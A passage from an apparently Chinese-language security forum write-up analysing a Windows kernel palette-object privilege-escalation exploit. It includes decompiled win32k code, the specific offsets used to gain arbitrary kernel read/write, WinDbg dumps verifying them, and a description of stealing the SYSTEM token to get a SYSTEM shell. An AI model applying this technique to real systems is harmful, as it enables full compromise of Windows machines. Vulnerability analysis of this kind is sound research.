) { return 0i64; } if ( icount + istart > *(_DWORD *)(BaseObject + 28) ) icount = *(_DWORD *)(BaseObject + 28) - istart; if ( !icount ) return 0i64; v7 = istart; ptransOld = 0i64; // 读取pFirstColor+4*istart位置从entry的buf中 entryPtr = (tagPALETTEENTRY *)(*(_QWORD *)(BaseObject + 0x80) + 4i64 * istart); ptransCurrentFrom = *(_DWORD **)(BaseObject + 0x48); ptransCurrent = 0i64; if ( ptransCurrentFrom ) { *ptransCurrentFrom = 0; BaseObject = *(_QWORD *)that->BaseObject; ptransCurrent = (_BYTE *)(*(_QWORD *)(*(_QWORD *)that->BaseObject + 0x48i64) + v7 + 4); } ptransOldFrom = *(_DWORD **)(BaseObject + 0x50); if ( ptransOldFrom ) { *ptransOldFrom = 0; ptransOld = (_BYTE *)(*(_QWORD *)(*(_QWORD *)that->BaseObject + 0x50i64) + v7 + 4); } icountRef = icount; do { --icount; *entryPtr = *entrysRef; if ( ptransCurrent ) // 重置ptransCurrent *ptransCurrent++ = 0; if ( ptransOld ) // 重置ptransOld *ptransOld++ = 0; // 读取大小为icountRef*4 ++entrysRef; ++entryPtr; } while ( icount ); v14 = _InterlockedIncrement((volatile signed __int32 *)&ulXlatePalUnique); *(_DWORD *)(*(_QWORD *)that->BaseObject + 32i64) = v14; v15 = *(_QWORD *)(*(_QWORD *)that->BaseObject + 136i64); if ( v15 != *(_QWORD *)that->BaseObject ) *(_DWORD *)(v15 + 32) = v14; return icountRef; }
在poc中对于hManager设置GetPaletteEntries的istart=0x1b,SetPaletteEntries=的istart=0x3C,0x1b 4=6c对齐后为0x70,0x3C 4=0xf0,0xf0-0x70=0x80正好是hWorker->pFirstColor指针指向的地址,写入任意目标内核地址后,对于hWorker调用GetPaletteEntries就就可以读取这个地址4*icount大小的任意内容,下面我们来看调试验证结果:
//在用户态查看,hManager和hWorker可以通过计算公式为(PEB->GdiSharedHandleTable+ sizeof(HANDLEENTRY) *(gdi对象句柄&0xffff))获取内核地址,poc中有计算代码 0:000> dv /i /t /v prv local 00000000`0029f898 unsigned char * hPltWkrObj = 0xfffff900`c566df10 "--- memory read error at address 0xfffff900`c566df10 ---" prv local 00000000`0029f890 unsigned char * hPltMgrObj = 0xfffff900`c566de10 "--- memory read error at address 0xfffff900`c566de10 ---" //在内核态查看: kd> dq 0xfffff900`c566de10 L20 fffff900`c566de10 00000000`020810cc 00000000`00000000 //在PALETTE64->cEntries写入值为0xfff位置构造了一个越界的PALETTE实现 fffff900`c566de20 00000000`00000000 00000fff`00000501 fffff900`c566de30 00000000`000cfc5d 00000000`00000000 fffff900`c566de40 00000000`00000000 00000000`00000000 fffff900`c566de50 00000000`00000000 00000000`00000000 fffff900`c566de60 00000000`00000000 00000000`00000000 fffff900`c566de70 fffff960`0010a8dc fffff960`0010a7f0 fffff900`c566de80 00000000`00000000 00000000`00000000 //0xfffff900`c566de10+80也就是hManager->pFirstColor指针指向的地址 fffff900`c566de90 fffff900`c566dea0 fffff900`c566de10 //查看hManager->pFirstColor指针指向的地址 kd> dq fffff900`c566dea0 L20 fffff900`c566dea0 55555555`55555555 55555555`55555555 fffff900`c566deb0 55555555`55555555 55555555`55555555 fffff900`c566dec0 55555555`55555555 55555555`55555555 fffff900`c566ded0 55555555`55555555 55555555`55555555 fffff900`c566dee0 55555555`55555555 55555555`55555555 fffff900`c566def0 55555555`55555555 00000000`00000000 fffff900`c566df00 38326847`23100010 00000000`00000000 //fffff900`c566dea0+0x70=0xfffff900`c566df10 正好就是在用户态看到的hPltWkrObj指向地址 //这里正好对应的是一个PALETTE结构 fffff900`c566df10 00000000`020810cd 00000000`00000000 //hWorker长度16足够了 fffff900`c566df20 00000000`00000000 00000016`00000501 fffff900`c566df30 00000000`000cdb62 00000000`00000000 fffff900`c566df40 00000000`00000000 00000000`00000000 fffff900`c566df50 00000000`00000000 00000000`00000000 fffff900`c566df60 00000000`00000000 00000000`00000000 fffff900`c566df70 fffff960`0010a8dc fffff960`0010a7f0 fffff900`c566df80 00000000`00000000 00000000`00000000 //0xfffff900`c566df10+80指向这里指向要读取内存的地址,也就是hWorker->pFirstColor指针指向的地址 fffff900`c566df90 fffff800`03eff030 fffff900`c566df10 fffff900`c566dfa0 55555555`55555555 55555555`55555555 fffff900`c566dfb0 55555555`55555555 55555555`55555555 //再次回到用户态查看 0:000> dv /i /t /v prv param 00000000`0029f6b0 unsigned int64 Addr = 0xfffff800`03eff030 prv param 00000000`0029f6b8 unsigned int len = 2 //内核态查看 //直接查看内核态数据 kd> dq fffff800`03eff030 fffff800`03eff030 fffffa80`018cbb30 fffffa80`01829fc0 fffff800`03eff040 a1993ffe`00000001 fffffa80`0195f7b0 fffff800`03eff050 fffffa80`01852840 00000001`00000000 fffff800`03eff060 00000000`0007ff8e 00000040`00000320 fffff800`03eff070 00000043`00000004 fffff683`ffffff78 fffff800`03eff080 00026161`00000001 00000000`0007ffff fffff800`03eff090 fffff800`03c4e380 00000000`00000007 fffff800`03eff0a0 fffffa80`018fda50 fffffa80`01808000 //最后回到用户态查看 0:000> dv /i /t /v //验证读取的数据正确 prv local 00000000`0029f6d0 unsigned int64 res = 0xfffffa80`018cbb30
同理对hWorker调用SetPaletteEntries实现任意内存写入,实现替换进程SYSTEM权限的token,为了避免退出进程后HDC句柄释放失败导致蓝屏,把Palette改回原来大小这样就会调用GetPaletteEntries失败,从而判断出是哪个HDC改写了越界Palette,最后通过偏移量找到他内核句柄的地址,清零最后成功退出exp,成功后获得一个system的cmd,本exp成功率90%,效果如图:
引用
作者来自ZheJiang Guoli Security Technology
[线下培训]《安卓高级研修班》`FART`自动脱壳机专场!作者`hanbingle`开讲手把手教!北京9月8日等你来!
最后于 4小时前 被王cb编辑 ,原因: 添加调试方法